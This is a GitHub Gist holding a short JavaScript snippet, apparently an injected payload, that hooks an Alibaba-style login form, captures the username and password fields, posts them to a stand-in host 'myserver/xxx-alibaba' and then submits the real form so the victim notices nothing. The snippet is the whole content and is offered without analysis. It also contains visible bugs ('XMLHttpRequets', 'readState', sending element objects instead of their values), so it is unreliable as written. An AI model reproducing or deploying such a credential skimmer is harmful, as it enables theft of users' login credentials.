Created
April 14, 2019 16:31
-
-
Save Voorivex/fa975b30262b54ca3a6a671988e088e3 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.forms[0].onsubmit = function() { | |
var u = document.getElementById('fm-login-id'); | |
var p = document.getElementById('fm-login-password'); | |
var s = new XMLHttpRequets(); | |
s.open('POST', 'https://myserver/xxx-alibaba/'); | |
s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); | |
s.onreadystatechange = function() { | |
if (s.readState == 4) { | |
document.forms[0].submit(); | |
} | |
} | |
s.send(`u=${u}&p=${p}`); | |
return false; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment